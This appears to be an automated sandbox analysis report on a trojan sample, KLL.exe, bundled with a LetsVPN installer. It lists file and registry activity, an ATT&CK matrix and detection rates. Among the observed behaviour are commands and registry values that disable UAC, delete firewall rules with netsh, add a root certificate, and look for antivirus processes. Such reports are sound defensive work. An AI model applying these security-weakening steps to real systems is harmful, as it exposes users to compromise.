Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_00007FF70047B018 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF70047B018

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Code function: 16_2_6CF06E75 __EH_prolog3_GS,GetVersionExW,_wcschr,CoInitializeEx,CoCreateInstance,

16_2_6CF06E75

Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable UAC(promptonsecuredesktop)

Source: C:\Windows\System32\reg.exe

Registry value created: PromptOnSecureDesktop 0

Jump to behavior

Disables UAC (registry)

Source: C:\Windows\System32\reg.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Modifies the windows firewall

Source: C:\Windows\System32\conhost.exe

Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\Desktop\KLL.exe

Process created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\7gW9F.xml

Source: uc_ctrl.exe, 00000010.00000002.4520386558.0000000002D2B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: uc_ctrl.exe, 00000010.00000002.4520386558.0000000002D2B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: rtvscan.exe
Source: uc_ctrl.exe, 00000010.00000002.4520386558.0000000002D2B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: uc_ctrl.exe, 00000010.00000002.4520386558.0000000002D2B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: a2guard.exe
Source: uc_ctrl.exe, 00000010.00000002.4520386558.0000000002D2B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: RavMonD.exe

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Blob

Stealing of Sensitive Information

Modifies the DNS server

Source: C:\Windows\System32\svchost.exe

Registry value created:

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CEE2940 ?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ,MessageBoxA,	16_2_6CEE2940
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CED8200 ?Download@CWebBrowserUI@UiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z,MessageBoxA,	16_2_6CED8200
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CED9440 ?GetBindTabLayoutName@COptionUI@UiLib@@QAE?AV?$CStringT@_WV?$StrTraitATL@_WV?$ChTraitsCRT@_W@ATL@@@ATL@@@ATL@@XZ,MessageBoxA,	16_2_6CED9440
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CED9420 ?GetBindTabLayoutIndex@COptionUI@UiLib@@QAEHXZ,MessageBoxA,	16_2_6CED9420
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CED70E0 ?BindTabIndex@COptionUI@UiLib@@QAEXH@Z,MessageBoxA,	16_2_6CED70E0
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CED7140 ?BindUnionButton@CButtonUI@UiLib@@QAEXPAV12@_N1@Z,MessageBoxA,	16_2_6CED7140
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CED7120 ?BindTriggerTabSel@COptionUI@UiLib@@QAEXH@Z,MessageBoxA,	16_2_6CED7120
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CED7100 ?BindTabLayoutName@COptionUI@UiLib@@QAEXPB_W@Z,MessageBoxA,	16_2_6CED7100

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Replication Through Removable Media	331 Windows Management Instrumentation	1 Scripting	1 LSASS Driver	311 Disable or Modify Tools	31 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	1 LSASS Driver	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	31 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	1 Bypass User Account Control	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	2 Clipboard Data	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	3 Windows Service	1 Access Token Manipulation	1 Software Packing	NTDS	168 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	11 Registry Run Keys / Startup Folder	3 Windows Service	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	371 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Bypass User Account Control	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	42 Masquerading	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	2 Modify Registry	Network Sniffing	2 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	261 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	12 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
KLL.exe	32%	ReversingLabs	Win64.Trojan.Generic
KLL.exe	32%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Program Files (x86)\letsvpn\LetsPRO.exe	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\Update.exe	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	3%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Bcl.AsyncInterfaces.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Primitives.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll	0%	ReversingLabs
